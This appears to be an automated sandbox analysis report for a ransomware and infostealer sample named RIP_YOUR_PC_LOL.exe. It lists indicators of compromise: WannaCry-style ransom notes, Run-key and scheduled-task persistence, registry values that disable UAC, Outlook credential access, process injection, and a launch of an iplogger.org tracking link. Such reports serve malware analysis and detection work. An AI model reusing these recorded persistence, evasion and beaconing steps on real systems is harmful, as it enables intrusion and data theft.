hawkeye | 477c13d4ca09fdb7fea6487641c6a904d4dee1adecd74ac42e0b00a3842503f9

System Information Discovery

Processes:

RIP_YOUR_PC_LOL.exe6.exe5.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation	RIP_YOUR_PC_LOL.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation	6.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation	5.exe

Drops startup file 15 IoCs

Processes:

system.exe10.exe8.exetaskmgr.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\802f813d3810aa536753efbd3390b541.exe	system.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DECRYPT-FILES.txt.WNCRYT	10.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDBB8F.tmp	10.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6de30ce638de491.tmp	8.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDBB68.tmp	10.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DECRYPT-FILES.txt.WNCRY	10.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\6de30ce638de491.tmp	8.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\DECRYPT-FILES.txt.WNCRYT	10.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DECRYPT-FILES.txt	10.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\DECRYPT-FILES.txt	10.exe
File opened for modification	\??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\decrypt-files.txt.wncry	taskmgr.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\802f813d3810aa536753efbd3390b541.exe	system.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DECRYPT-FILES.txt	8.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\DECRYPT-FILES.txt	8.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\DECRYPT-FILES.txt.WNCRY	10.exe

Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

4628 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

pid	process
4628	icacls.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

Processes:

vbc.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	vbc.exe

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

reg.exe6.exe7.exesystem.exemsedge.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\dlkzpibqectdraf799 = "\"C:\\Users\\Admin\\Desktop\\tasksche.exe\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Windows\\System32\\unregmp2\\dllhost.exe\""	6.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Update = "C:\\Users\\Admin\\AppData\\Roaming\\WindowsUpdate.exe"	7.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\802f813d3810aa536753efbd3390b541 = "\"C:\\ProgramData\\system.exe\" .."	system.exe
Key created	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Software\Microsoft\Windows\CurrentVersion\Run	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Users\\Default User\\fontdrvhost.exe\""	6.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\msedge = "\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\pwahelper\\msedge.exe\""	6.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Windows\\System32\\enterprisecsps\\RuntimeBroker.exe\""	6.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\802f813d3810aa536753efbd3390b541 = "\"C:\\ProgramData\\system.exe\" .."	system.exe

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

Processes:

fontdrvhost.exe6.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	fontdrvhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fontdrvhost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

42 whatismyipaddress.com
44 whatismyipaddress.com

flow	ioc
42	whatismyipaddress.com
44	whatismyipaddress.com

Drops file in System32 directory 4 IoCs

Processes:

6.exe

description	ioc	process
File created	C:\Windows\System32\enterprisecsps\RuntimeBroker.exe	6.exe
File created	C:\Windows\System32\enterprisecsps\9e8d7a4ca61bd92aff00cc37a7a4d62a2cac998d	6.exe
File created	C:\Windows\System32\unregmp2\dllhost.exe	6.exe
File created	C:\Windows\System32\unregmp2\5940a34987c99120d96dace90a3f93f329dcad63	6.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

Processes:

8.exe@WanaDecryptor@.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\\\000.bmp"	8.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@WanaDecryptor@.bmp"	@WanaDecryptor@.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

7.exe

description pid process target process

PID 1336 set thread context of 204 1336 7.exe vbc.exe
PID 1336 set thread context of 1692 1336 7.exe vbc.exe

description	pid	process	target process
PID 1336 set thread context of 204	1336	7.exe	vbc.exe
PID 1336 set thread context of 1692	1336	7.exe	vbc.exe

Drops file in Program Files directory 28 IoCs

Processes:

8.exe6.exe

description	ioc	process
File opened for modification	C:\Program Files\CompleteDisconnect.rle	8.exe
File opened for modification	C:\Program Files\RestartUnpublish.pdf	8.exe
File opened for modification	C:\Program Files\ExpandOpen.cr2	8.exe
File created	C:\Program Files\DECRYPT-FILES.txt	8.exe
File opened for modification	C:\Program Files\ConnectGrant.odt	8.exe
File opened for modification	C:\Program Files\ConvertAdd.css	8.exe
File opened for modification	C:\Program Files\CopyCheckpoint.mhtml	8.exe
File opened for modification	C:\Program Files\EditOpen.vbe	8.exe
File opened for modification	C:\Program Files\FormatUninstall.sql	8.exe
File opened for modification	C:\Program Files\ReceiveCompare.vst	8.exe
File opened for modification	C:\Program Files\UnprotectRevoke.ttc	8.exe
File created	C:\Program Files (x86)\DECRYPT-FILES.txt	8.exe
File opened for modification	C:\Program Files\ConvertToPush.xps	8.exe
File opened for modification	C:\Program Files\LockTest.easmx	8.exe
File opened for modification	C:\Program Files\ResizeFormat.mpp	8.exe
File opened for modification	C:\Program Files\SendSync.aifc	8.exe
File opened for modification	C:\Program Files\CompressSkip.iso	8.exe
File opened for modification	C:\Program Files\StartGrant.mpv2	8.exe
File opened for modification	C:\Program Files (x86)\6de30ce638de491.tmp	8.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper\msedge.exe	6.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper\61a52ddc9dd915470897a065f14eeedfa88f98fd	6.exe
File opened for modification	C:\Program Files\MountConnect.m4a	8.exe
File opened for modification	C:\Program Files\ProtectStep.dotm	8.exe
File opened for modification	C:\Program Files\ResumeDisable.M2T	8.exe
File opened for modification	C:\Program Files\6de30ce638de491.tmp	8.exe
File opened for modification	C:\Program Files\ExitShow.eprtx	8.exe
File opened for modification	C:\Program Files\PopTest.wmf	8.exe
File opened for modification	C:\Program Files\SubmitWatch.3gp	8.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

taskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

1976 schtasks.exe
4280 schtasks.exe
1652 schtasks.exe
1664 schtasks.exe

pid	process
1976	schtasks.exe
4280	schtasks.exe
1652	schtasks.exe
1664	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

Processes:

msedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 5 IoCs

Processes:

RIP_YOUR_PC_LOL.exemsedge.exetaskmgr.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings	RIP_YOUR_PC_LOL.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\SpotifyAB.SpotifyMusic_zpdnekdrzrea0\Spotify	taskmgr.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\SpotifyAB.SpotifyMusic_zpdnekdrzrea0\Spotify\State = "2"	taskmgr.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\SpotifyAB.SpotifyMusic_zpdnekdrzrea0\Spotify\UserEnabledStartupOnce = "0"	taskmgr.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1760 reg.exe

pid	process
1760	reg.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

Processes:

6.exe8.exemsedge.exemsedge.exefontdrvhost.exevbc.exe7.exetaskmgr.exe

pid	process
3572	6.exe
3572	6.exe
3892	8.exe
3892	8.exe
3964	msedge.exe
3964	msedge.exe
3572	6.exe
3572	6.exe
4552	msedge.exe
4552	msedge.exe
3572	6.exe
3572	6.exe
3752	fontdrvhost.exe
3752	fontdrvhost.exe
1692	vbc.exe
1692	vbc.exe
1336	7.exe
1336	7.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

taskmgr.exe

pid process

972 taskmgr.exe
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

Processes:

msedge.exe

pid process

4552 msedge.exe
4552 msedge.exe
4552 msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

6.exevssvc.exefontdrvhost.exe7.exesystem.exewmic.exeAUDIODG.EXEtaskse.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	3572	6.exe
Token: SeBackupPrivilege	4392	vssvc.exe
Token: SeRestorePrivilege	4392	vssvc.exe
Token: SeAuditPrivilege	4392	vssvc.exe
Token: SeDebugPrivilege	3752	fontdrvhost.exe
Token: SeDebugPrivilege	1336	7.exe
Token: SeDebugPrivilege	2040	system.exe
Token: 33	2040	system.exe
Token: SeIncBasePriorityPrivilege	2040	system.exe
Token: SeIncreaseQuotaPrivilege	3952	wmic.exe
Token: SeSecurityPrivilege	3952	wmic.exe
Token: SeTakeOwnershipPrivilege	3952	wmic.exe
Token: SeLoadDriverPrivilege	3952	wmic.exe
Token: SeSystemProfilePrivilege	3952	wmic.exe
Token: SeSystemtimePrivilege	3952	wmic.exe
Token: SeProfSingleProcessPrivilege	3952	wmic.exe
Token: SeIncBasePriorityPrivilege	3952	wmic.exe
Token: SeCreatePagefilePrivilege	3952	wmic.exe
Token: SeBackupPrivilege	3952	wmic.exe
Token: SeRestorePrivilege	3952	wmic.exe
Token: SeShutdownPrivilege	3952	wmic.exe
Token: SeDebugPrivilege	3952	wmic.exe
Token: SeSystemEnvironmentPrivilege	3952	wmic.exe
Token: SeRemoteShutdownPrivilege	3952	wmic.exe
Token: SeUndockPrivilege	3952	wmic.exe
Token: SeManageVolumePrivilege	3952	wmic.exe
Token: 33	3952	wmic.exe
Token: 34	3952	wmic.exe
Token: 35	3952	wmic.exe
Token: 36	3952	wmic.exe
Token: SeIncreaseQuotaPrivilege	3952	wmic.exe
Token: SeSecurityPrivilege	3952	wmic.exe
Token: SeTakeOwnershipPrivilege	3952	wmic.exe
Token: SeLoadDriverPrivilege	3952	wmic.exe
Token: SeSystemProfilePrivilege	3952	wmic.exe
Token: SeSystemtimePrivilege	3952	wmic.exe
Token: SeProfSingleProcessPrivilege	3952	wmic.exe
Token: SeIncBasePriorityPrivilege	3952	wmic.exe
Token: SeCreatePagefilePrivilege	3952	wmic.exe
Token: SeBackupPrivilege	3952	wmic.exe
Token: SeRestorePrivilege	3952	wmic.exe
Token: SeShutdownPrivilege	3952	wmic.exe
Token: SeDebugPrivilege	3952	wmic.exe
Token: SeSystemEnvironmentPrivilege	3952	wmic.exe
Token: SeRemoteShutdownPrivilege	3952	wmic.exe
Token: SeUndockPrivilege	3952	wmic.exe
Token: SeManageVolumePrivilege	3952	wmic.exe
Token: 33	3952	wmic.exe
Token: 34	3952	wmic.exe
Token: 35	3952	wmic.exe
Token: 36	3952	wmic.exe
Token: 33	2040	system.exe
Token: SeIncBasePriorityPrivilege	2040	system.exe
Token: 33	2040	system.exe
Token: SeIncBasePriorityPrivilege	2040	system.exe
Token: 33	4548	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	4548	AUDIODG.EXE
Token: 33	2040	system.exe
Token: SeIncBasePriorityPrivilege	2040	system.exe
Token: 33	2040	system.exe
Token: SeIncBasePriorityPrivilege	2040	system.exe
Token: SeTcbPrivilege	4176	taskse.exe
Token: SeTcbPrivilege	4176	taskse.exe
Token: SeIncreaseQuotaPrivilege	4896	WMIC.exe

Suspicious use of FindShellTrayWindow 23 IoCs

Processes:

msedge.exetaskmgr.exe

pid	process
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe

Suspicious use of SendNotifyMessage 19 IoCs

Processes:

taskmgr.exe

pid	process
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe

Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

@WanaDecryptor@.exe@WanaDecryptor@.exe@WanaDecryptor@.exe@WanaDecryptor@.exe@WanaDecryptor@.exe

pid	process
3584	@WanaDecryptor@.exe
3584	@WanaDecryptor@.exe
1676	@WanaDecryptor@.exe
1676	@WanaDecryptor@.exe
1244	@WanaDecryptor@.exe
1244	@WanaDecryptor@.exe
716	@WanaDecryptor@.exe
2940	@WanaDecryptor@.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

RIP_YOUR_PC_LOL.exe1.execmd.exemsedge.exe10.exe

description	pid	process	target process
PID 3124 wrote to memory of 2928	3124	RIP_YOUR_PC_LOL.exe	1.exe
PID 3124 wrote to memory of 2928	3124	RIP_YOUR_PC_LOL.exe	1.exe
PID 3124 wrote to memory of 2928	3124	RIP_YOUR_PC_LOL.exe	1.exe
PID 2928 wrote to memory of 3788	2928	1.exe	cmd.exe
PID 2928 wrote to memory of 3788	2928	1.exe	cmd.exe
PID 3788 wrote to memory of 4552	3788	cmd.exe	msedge.exe
PID 3788 wrote to memory of 4552	3788	cmd.exe	msedge.exe
PID 4552 wrote to memory of 1628	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 1628	4552	msedge.exe	msedge.exe
PID 3124 wrote to memory of 2336	3124	RIP_YOUR_PC_LOL.exe	10.exe
PID 3124 wrote to memory of 2336	3124	RIP_YOUR_PC_LOL.exe	10.exe
PID 3124 wrote to memory of 2336	3124	RIP_YOUR_PC_LOL.exe	10.exe
PID 2336 wrote to memory of 3664	2336	10.exe	attrib.exe
PID 2336 wrote to memory of 3664	2336	10.exe	attrib.exe
PID 2336 wrote to memory of 3664	2336	10.exe	attrib.exe
PID 2336 wrote to memory of 4628	2336	10.exe	icacls.exe
PID 2336 wrote to memory of 4628	2336	10.exe	icacls.exe
PID 2336 wrote to memory of 4628	2336	10.exe	icacls.exe
PID 3124 wrote to memory of 3280	3124	RIP_YOUR_PC_LOL.exe	WINWORD.EXE
PID 3124 wrote to memory of 3280	3124	RIP_YOUR_PC_LOL.exe	WINWORD.EXE
PID 3124 wrote to memory of 2916	3124	RIP_YOUR_PC_LOL.exe	EXCEL.EXE
PID 3124 wrote to memory of 2916	3124	RIP_YOUR_PC_LOL.exe	EXCEL.EXE
PID 3124 wrote to memory of 2916	3124	RIP_YOUR_PC_LOL.exe	EXCEL.EXE
PID 3124 wrote to memory of 4208	3124	RIP_YOUR_PC_LOL.exe	5.exe
PID 3124 wrote to memory of 4208	3124	RIP_YOUR_PC_LOL.exe	5.exe
PID 3124 wrote to memory of 4208	3124	RIP_YOUR_PC_LOL.exe	5.exe
PID 3124 wrote to memory of 3572	3124	RIP_YOUR_PC_LOL.exe	6.exe
PID 3124 wrote to memory of 3572	3124	RIP_YOUR_PC_LOL.exe	6.exe
PID 3124 wrote to memory of 1336	3124	RIP_YOUR_PC_LOL.exe	7.exe
PID 3124 wrote to memory of 1336	3124	RIP_YOUR_PC_LOL.exe	7.exe
PID 3124 wrote to memory of 1336	3124	RIP_YOUR_PC_LOL.exe	7.exe
PID 3124 wrote to memory of 3892	3124	RIP_YOUR_PC_LOL.exe	8.exe
PID 3124 wrote to memory of 3892	3124	RIP_YOUR_PC_LOL.exe	8.exe
PID 3124 wrote to memory of 3892	3124	RIP_YOUR_PC_LOL.exe	8.exe
PID 2336 wrote to memory of 3612	2336	10.exe	taskdl.exe
PID 2336 wrote to memory of 3612	2336	10.exe	taskdl.exe
PID 2336 wrote to memory of 3612	2336	10.exe	taskdl.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4876	4552	msedge.exe	msedge.exe

System policy modification 1 TTPs 6 IoCs

evasion

Modify Registry

Processes:

6.exefontdrvhost.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fontdrvhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	fontdrvhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	fontdrvhost.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exe

pid process

3664 attrib.exe

pid	process
3664	attrib.exe

C:\Users\Admin\AppData\Local\Temp\RIP_YOUR_PC_LOL.exe
"C:\Users\Admin\AppData\Local\Temp\RIP_YOUR_PC_LOL.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3124

C:\Users\Admin\Desktop\1.exe
"C:\Users\Admin\Desktop\1.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2928

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\695D.tmp\695E.tmp\695F.bat C:\Users\Admin\Desktop\1.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:3788

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/2bB2s6
4⤵
- Adds Run key to start application
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4552

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa59c346f8,0x7ffa59c34708,0x7ffa59c34718
5⤵
PID:1628

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2084,12370527672765014916,11213257922967060572,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2096 /prefetch:2
5⤵
PID:4876

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2084,12370527672765014916,11213257922967060572,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2768 /prefetch:8
5⤵
PID:4316

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2084,12370527672765014916,11213257922967060572,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 /prefetch:3
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:3964

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,12370527672765014916,11213257922967060572,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3424 /prefetch:1
5⤵
PID:3824

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,12370527672765014916,11213257922967060572,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3432 /prefetch:1
5⤵
PID:2452

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2084,12370527672765014916,11213257922967060572,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5500 /prefetch:8
5⤵
PID:1820

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
